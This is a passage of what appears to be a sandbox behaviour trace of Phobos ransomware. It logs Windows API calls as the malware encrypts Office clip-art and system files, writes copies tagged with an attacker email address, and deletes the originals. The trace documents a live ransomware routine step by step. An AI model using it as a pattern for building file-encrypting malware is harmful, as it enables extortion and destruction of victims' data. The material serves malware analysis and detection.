Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.608] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=7084) returned 1 [0182.608] CloseHandle (hObject=0x2e0) returned 1 [0182.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0182.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.609] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.609] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.609] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0182.609] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.609] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x1bac, lpOverlapped=0x0) returned 1 [0182.765] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1bb0) returned 1 [0182.765] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1bb0, lpOverlapped=0x0) returned 1 [0182.766] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1410) returned 1 [0182.766] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.766] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.766] CryptDestroyKey (hKey=0x1d1410) returned 1 [0182.766] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.767] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0182.767] CloseHandle (hObject=0x2e0) returned 1 [0182.767] CloseHandle (hObject=0x2c8) returned 1 [0182.767] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0182.770] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.771] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1148) returned 1 [0182.771] CloseHandle (hObject=0x2c8) returned 1 [0182.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0182.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.772] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.772] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.773] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0182.773] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.773] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x47c, lpOverlapped=0x0) returned 1 [0182.818] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x480, dwBufLen=0x480 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x480) returned 1 [0182.818] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x480, lpOverlapped=0x0) returned 1 [0182.821] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0182.821] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.821] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.821] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0182.821] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.822] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0182.822] CloseHandle (hObject=0x2c8) returned 1 [0182.822] CloseHandle (hObject=0x2e0) returned 1 [0182.822] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0182.824] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.824] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1268) returned 1 [0182.824] CloseHandle (hObject=0x2e0) returned 1 [0182.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0182.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.825] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.825] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.826] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1590) returned 1 [0182.826] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.826] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x4f4, lpOverlapped=0x0) returned 1 [0182.969] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x500, dwBufLen=0x500 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x500) returned 1 [0182.969] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x500, lpOverlapped=0x0) returned 1 [0182.970] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1a10) returned 1 [0182.970] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.970] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0182.970] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0182.970] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0182.970] CryptDestroyKey (hKey=0x1d1590) returned 1 [0182.970] CloseHandle (hObject=0x2e0) returned 1 [0182.970] CloseHandle (hObject=0x2c8) returned 1 [0182.970] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0182.972] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0182.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.973] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=7340) returned 1 [0182.973] CloseHandle (hObject=0x2c8) returned 1 [0182.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0182.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0182.973] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.973] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0182.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0182.975] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1810) returned 1 [0182.975] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0182.975] ReadFile (hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0) Thread: id = 117 os_tid = 0x474 [0162.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a700b0 [0162.258] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x3300048 [0162.259] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f4fc8 [0162.259] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x110102) returned 0x350b020 [0162.262] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x50) returned 0x6fafc0 [0162.262] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f928, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f990 | out: phKey=0x2f9f990*=0x1b8f08) returned 1 [0162.262] CryptSetKeyParam (hKey=0x1b8f08, dwParam=0x1, pbData=0x2f9f978, dwFlags=0x0) returned 1 [0162.262] CryptDecrypt (in: hKey=0x1b8f08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x2f9f944 | out: pbData=0x6fafc0, pdwDataLen=0x2f9f944) returned 1 [0162.262] CryptDestroyKey (hKey=0x1b8f08) returned 1 [0162.262] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0162.262] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0162.262] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9f9dc | out: OldValue=0x2f9f9dc*=0x0) returned 1 [0162.262] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0162.263] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0162.677] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0162.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.677] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0162.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0162.677] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=4662) returned 1 [0162.677] CloseHandle (hObject=0x2b8) returned 1 [0162.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0162.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.678] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.678] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0162.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0162.679] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=791421) returned 1 [0162.679] CloseHandle (hObject=0x2b8) returned 1 [0162.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0162.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.680] ResetEvent (hEvent=0x29c) returned 1 [0162.680] SetEvent (hEvent=0x2a0) returned 1 [0162.680] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0162.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0162.681] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=27045) returned 1 [0162.681] CloseHandle (hObject=0x2b8) returned 1 [0162.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0162.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.682] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.574] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.575] ResetEvent (hEvent=0x29c) returned 1 [0163.575] SetEvent (hEvent=0x2a0) returned 1 [0163.575] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.576] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=48936) returned 1 [0163.576] CloseHandle (hObject=0x2d0) returned 1 [0163.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0163.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.577] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.580] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0163.592] ResetEvent (hEvent=0x29c) returned 1 [0163.592] SetEvent (hEvent=0x2a0) returned 1 [0163.593] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0163.595] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=84190) returned 1 [0163.595] CloseHandle (hObject=0x2d0) returned 1 [0163.600] GetFileAttributesW 